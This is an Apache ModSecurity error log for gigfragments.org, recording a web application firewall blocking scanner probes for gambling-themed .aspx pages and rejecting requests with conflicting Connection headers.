[Mon May 18 22:42:53.015962 2026] [:error] [pid 44087:tid 44104] [client 95.217.109.26:35064] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agslbW5HPHbH9GK7l6z_mgAAAc8"]
[Mon May 18 22:42:55.012970 2026] [:error] [pid 43916:tid 43941] [client 95.217.109.26:35076] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agslb9QC236p33zJJvnTQQAAAJE"]
[Mon May 18 22:42:57.043654 2026] [:error] [pid 36493:tid 36571] [client 95.217.109.26:7704] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agslcQynkzQB5nM668rSaAAAARY"]
[Mon May 18 22:42:59.004543 2026] [:error] [pid 43916:tid 43929] [client 95.217.109.26:7714] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agslc9QC236p33zJJvnTRQAAAIU"]
[Mon May 18 22:43:01.036910 2026] [:error] [pid 36492:tid 36537] [client 95.217.109.26:7722] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agsldWCVlogrkn9m2w4B7AAAAA8"]
[Mon May 18 22:43:02.940607 2026] [:error] [pid 36492:tid 36538] [client 95.217.109.26:7732] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agsldmCVlogrkn9m2w4B8AAAABA"]
[Mon May 18 22:43:04.928772 2026] [:error] [pid 36493:tid 36551] [client 95.217.109.26:7736] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agsleAynkzQB5nM668rSawAAAQI"]
[Mon May 18 22:43:07.144497 2026] [:error] [pid 36492:tid 36531] [client 95.217.109.26:49446] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agsle2CVlogrkn9m2w4B-QAAAAk"]
[Mon May 18 22:43:09.195134 2026] [:error] [pid 36579:tid 36582] [client 95.217.109.26:49450] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "agslfV-aoZxBfgL5vDye1AAAAEA"]
[Mon May 18 22:43:53.636118 2026] [:error] [pid 44087:tid 44092] [client 95.217.109.26:17392] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agslqW5HPHbH9GK7l6z_rAAAAcM"]
[Mon May 18 22:43:55.984961 2026] [:error] [pid 36491:tid 36518] [client 95.217.109.26:17404] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agslq0555B9CZb6D60ngewAAAVc"]
[Mon May 18 22:43:57.992435 2026] [:error] [pid 36579:tid 36604] [client 95.217.109.26:19556] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agslrV-aoZxBfgL5vDye3QAAAFY"]
[Mon May 18 22:44:00.049760 2026] [:error] [pid 36579:tid 36592] [client 95.217.109.26:19558] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agslsF-aoZxBfgL5vDye3gAAAEo"]
[Mon May 18 22:44:02.163081 2026] [:error] [pid 36492:tid 36541] [client 95.217.109.26:19560] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agslsmCVlogrkn9m2w4CHwAAABM"]
[Mon May 18 22:44:04.300816 2026] [:error] [pid 43916:tid 43939] [client 95.217.109.26:19564] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agsltNQC236p33zJJvnTUgAAAI8"]
[Mon May 18 22:44:06.576116 2026] [:error] [pid 36579:tid 36586] [client 95.217.109.26:61950] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agsltl-aoZxBfgL5vDye4AAAAEQ"]
[Mon May 18 22:44:08.761887 2026] [:error] [pid 44087:tid 44104] [client 95.217.109.26:61960] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agsluG5HPHbH9GK7l6z_rwAAAc8"]
[Mon May 18 22:44:10.927392 2026] [:error] [pid 44010:tid 44023] [client 95.217.109.26:61964] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agslujcFUuogD3-74-aBQQAAAMs"]
[Mon May 18 22:44:12.966452 2026] [:error] [pid 36493:tid 36556] [client 95.217.109.26:61976] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agslvAynkzQB5nM668rSdAAAAQc"]
[Mon May 18 22:44:15.098789 2026] [:error] [pid 44046:tid 44069] [client 95.217.109.26:61978] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agslv4YF4k2jfXJBXk0EEwAAAZU"]
[Mon May 18 22:44:17.054684 2026] [:error] [pid 44010:tid 44031] [client 95.217.109.26:1806] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agslwTcFUuogD3-74-aBRAAAANM"]
[Mon May 18 22:44:19.168061 2026] [:error] [pid 36579:tid 36597] [client 95.217.109.26:1808] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agslw1-aoZxBfgL5vDye5QAAAE8"]
[Mon May 18 22:44:21.316555 2026] [:error] [pid 36579:tid 36606] [client 95.217.109.26:1818] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agslxV-aoZxBfgL5vDye5wAAAFg"]
[Mon May 18 22:44:23.384107 2026] [:error] [pid 36579:tid 36598] [client 95.217.109.26:1832] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agslx1-aoZxBfgL5vDye7AAAAFA"]
[Mon May 18 22:44:25.486660 2026] [:error] [pid 43916:tid 43927] [client 95.217.109.26:1840] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agslydQC236p33zJJvnTWgAAAIM"]
[Mon May 18 22:44:28.087166 2026] [:error] [pid 36492:tid 36546] [client 95.217.109.26:42074] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agslzGCVlogrkn9m2w4CIQAAABg"]
[Mon May 18 22:44:30.273539 2026] [:error] [pid 43916:tid 43928] [client 95.217.109.26:42084] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agslztQC236p33zJJvnTXAAAAIQ"]
[Mon May 18 22:44:32.411100 2026] [:error] [pid 44087:tid 44108] [client 95.217.109.26:42100] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agsl0G5HPHbH9GK7l6z_tQAAAdM"]
[Mon May 18 22:44:34.543462 2026] [:error] [pid 44087:tid 44114] [client 95.217.109.26:42114] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agsl0m5HPHbH9GK7l6z_tgAAAdg"]
[Mon May 18 22:44:36.548906 2026] [:error] [pid 44046:tid 44050] [client 95.217.109.26:26268] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agsl1IYF4k2jfXJBXk0EFgAAAYI"]
[Mon May 18 22:44:38.720754 2026] [:error] [pid 44046:tid 44048] [client 95.217.109.26:26284] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agsl1oYF4k2jfXJBXk0EGAAAAYA"]
[Mon May 18 22:44:40.865722 2026] [:error] [pid 44087:tid 44100] [client 95.217.109.26:26288] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agsl2G5HPHbH9GK7l6z_twAAAcs"]
[Mon May 18 22:44:42.826003 2026] [:error] [pid 43916:tid 43937] [client 95.217.109.26:26294] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agsl2tQC236p33zJJvnTXgAAAI0"]
[Mon May 18 22:44:45.055509 2026] [:error] [pid 36491:tid 36513] [client 95.217.109.26:26298] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agsl3U555B9CZb6D60ngfgAAAVI"]
[Mon May 18 22:44:47.203900 2026] [:error] [pid 36579:tid 36586] [client 95.217.109.26:26950] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agsl31-aoZxBfgL5vDye8AAAAEQ"]
[Mon May 18 23:49:46.698292 2026] [:error] [pid 36492:tid 36538] [client 119.91.20.139:41992] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ags1GmCVlogrkn9m2w4NQQAAABA"]
[Tue May 19 01:50:10.395928 2026] [:error] [pid 36579:tid 36588] [client 124.156.179.141:43184] [client 124.156.179.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agtRUl-aoZxBfgL5vDy0fQAAAEY"]
[Tue May 19 01:55:06.186984 2026] [:error] [pid 44010:tid 44020] [client 147.135.213.234:48434] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agtSejcFUuogD3-74-aNHwAAAMg"]
[Tue May 19 01:55:08.115268 2026] [:error] [pid 44046:tid 44066] [client 147.135.213.234:37224] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agtSfIYF4k2jfXJBXk0RFwAAAZI"]
[Tue May 19 01:55:10.162706 2026] [:error] [pid 36491:tid 36500] [client 147.135.213.234:37234] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agtSfk555B9CZb6D60n8KgAAAUU"]
[Tue May 19 01:55:12.117822 2026] [:error] [pid 36491:tid 36506] [client 147.135.213.234:37238] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agtSgE555B9CZb6D60n8KwAAAUs"]
[Tue May 19 01:55:14.002545 2026] [:error] [pid 36579:tid 36606] [client 147.135.213.234:37248] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agtSgl-aoZxBfgL5vDy05QAAAFg"]
[Tue May 19 01:55:15.888804 2026] [:error] [pid 44087:tid 44097] [client 147.135.213.234:37260] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agtSg25HPHbH9GK7l6wOWwAAAcg"]
[Tue May 19 01:55:17.749330 2026] [:error] [pid 36579:tid 36600] [client 147.135.213.234:44232] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agtShV-aoZxBfgL5vDy06gAAAFI"]
[Tue May 19 01:55:19.616752 2026] [:error] [pid 36492:tid 36542] [client 147.135.213.234:44240] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agtSh2CVlogrkn9m2w4owQAAABQ"]
[Tue May 19 01:55:21.672978 2026] [:error] [pid 36491:tid 36515] [client 147.135.213.234:44244] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agtSiU555B9CZb6D60n8MQAAAVQ"]
[Tue May 19 01:55:23.619252 2026] [:error] [pid 36491:tid 36508] [client 147.135.213.234:44260] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agtSi0555B9CZb6D60n8NQAAAU0"]
[Tue May 19 01:55:25.640697 2026] [:error] [pid 36491:tid 36519] [client 147.135.213.234:44276] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agtSjU555B9CZb6D60n8NwAAAVg"]
[Tue May 19 01:55:27.688550 2026] [:error] [pid 36579:tid 36606] [client 147.135.213.234:32956] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agtSj1-aoZxBfgL5vDy08gAAAFg"]
[Tue May 19 01:55:29.617302 2026] [:error] [pid 36491:tid 36519] [client 147.135.213.234:32960] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agtSkU555B9CZb6D60n8YwAAAVg"]
[Tue May 19 01:55:31.636503 2026] [:error] [pid 36579:tid 36588] [client 147.135.213.234:32976] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agtSk1-aoZxBfgL5vDy08wAAAEY"]
[Tue May 19 01:55:33.536864 2026] [:error] [pid 36579:tid 36589] [client 147.135.213.234:32986] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agtSlV-aoZxBfgL5vDy09QAAAEc"]
[Tue May 19 01:55:35.906065 2026] [:error] [pid 43916:tid 43944] [client 147.135.213.234:33000] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agtSl9QC236p33zJJvneIQAAAJQ"]
[Tue May 19 01:55:38.528326 2026] [:error] [pid 36491:tid 36508] [client 147.135.213.234:44366] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agtSmk555B9CZb6D60n8cQAAAU0"]
[Tue May 19 01:55:40.437082 2026] [:error] [pid 36491:tid 36501] [client 147.135.213.234:44374] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agtSnE555B9CZb6D60n8dQAAAUY"]
